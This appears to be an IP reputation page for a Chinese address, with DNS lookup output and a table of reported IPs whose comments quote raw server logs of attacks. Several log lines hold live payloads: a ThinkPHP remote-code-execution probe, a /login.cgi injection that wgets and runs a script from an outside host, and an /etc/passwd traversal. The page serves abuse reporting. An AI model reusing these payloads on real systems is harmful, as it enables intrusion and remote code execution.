城市(city): Linyi
省份(region): Shandong
国家(country): China
运营商(isp): China Unicom
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b
; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.68.rc1.el6_10.3 <<>> 222.132.225.146
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 63384
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;222.132.225.146. IN A
;; AUTHORITY SECTION:
. 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2020042101 1800 900 604800 86400
;; Query time: 1 msec
;; SERVER: 100.100.2.138#53(100.100.2.138)
;; WHEN: Wed Apr 22 06:54:07 2020
;; MSG SIZE rcvd: 108
Host 146.225.132.222.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 146.225.132.222.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 212.64.58.150 | botsattack | 212.64.58.150 - - [06/May/2019:16:15:10 +0800] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%\\x80\\x96\\x98 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 212.64.58.150 - - [06/May/2019:16:15:13 +0800] "GET /lang.php?f=1 HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" |
2019-05-06 16:18:16 |
| 159.89.201.212 | botsattack | UDP flood port:0 port:53413 |
2019-05-10 13:19:04 |
| 159.69.190.90 | attackproxynormal | 2048 |
2019-05-11 10:21:37 |
| 106.12.95.181 | attack | 106.12.95.181 - - [06/May/2019:21:10:47 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://194.147.32.131/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 182 "-" "Hakai/2.0" |
2019-05-06 21:11:47 |
| 128.199.59.39 | botsattack | UDP flood attack port:0 port:51331 |
2019-05-06 10:22:08 |
| 94.43.174.156 | bots | 94.43.174.156 - - [05/May/2019:12:31:07 +0800] "GET /check-ip/206.74.135.217 HTTP/1.1" 200 92350 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3)" |
2019-05-05 12:31:32 |
| 104.152.52.67 | attack | 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS sip:nm SIP/2.0" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS / HTTP/1.0" 200 0 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "TNMP\\x04\\x00\\x00\\x00TNME\\x00\\x00\\x04\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "\\x03\\x00\\x00\\x0B\\x06\\xE0\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "DmdT\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x11\\x11\\x00\\xFF\\x01\\xFF\\x13" 400 182 "-" "-" |
2019-05-15 13:55:51 |
| 178.62.237.197 | spambotsattack | UDP port:51331 ddos attack |
2019-05-05 21:59:12 |
| 95.52.84.202 | botsattack | 95.52.84.202 - - [08/May/2019:18:17:24 +0800] "GET /index.php?option=com_users&view=registration HTTP/1.1" 301 194 "-" "Opera/9.80 (Windows NT 6.1); U; en) Presto/2.7.62 Version/11.00" 95.52.84.202 - - [08/May/2019:18:17:26 +0800] "GET /index.php?option=com_users&view=registration HTTP/1.1" 404 209 "-" "Opera/9.80 (Windows NT 6.1); U; en) Presto/2.7.62 Version/11.00" |
2019-05-08 18:19:31 |
| 38.143.68.212 | attack | H |
2019-05-04 08:45:16 |
| 104.152.52.68 | bots | 104.152.52.68 - - [07/May/2019:14:54:59 +0800] "\\x00\\x00\\x00\\xA4\\xFFSMBr\\x00\\x00\\x00\\x00\\x08\\x01@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x06\\x00\\x00\\x01\\x00\\x00\\x81\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02MICROSOFT NETWORKS 1.03\\x00\\x02MICROSOFT NETWORKS 3.0\\x00\\x02LANMAN1.0\\x00\\x02LM1.2X002\\x00\\x02Samba\\x00\\x02NT LANMAN 1.0\\x00\\x02NT LM 0.12\\x00" 400 182 "-" "-" 104.152.52.68 - - [07/May/2019:14:54:59 +0800] "OPTIONS / RTSP/1.0" 400 182 "-" "-" |
2019-05-07 14:57:08 |
| 91.203.101.134 | attack | 攻擊信件主機 |
2019-05-08 17:06:35 |
| 196.231.211.3 | bots | 196.231.211.3 - - [05/May/2019:09:46:34 +0800] "GET /check-ip/206.74.135.217 HTTP/1.1" 200 96149 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.2)" |
2019-05-05 09:48:47 |
| 118.163.196.1 | attack | phpmyadmin db攻击 |
2019-05-09 20:13:46 |
| 171.120.31.195 | attack | 171.120.31.195 - - [10/May/2019:14:21:19 +0800] "GET /../../../../../../../../../../../etc/passwd HTTP/1.1" 400 182 "-" "-" |
2019-05-10 14:22:51 |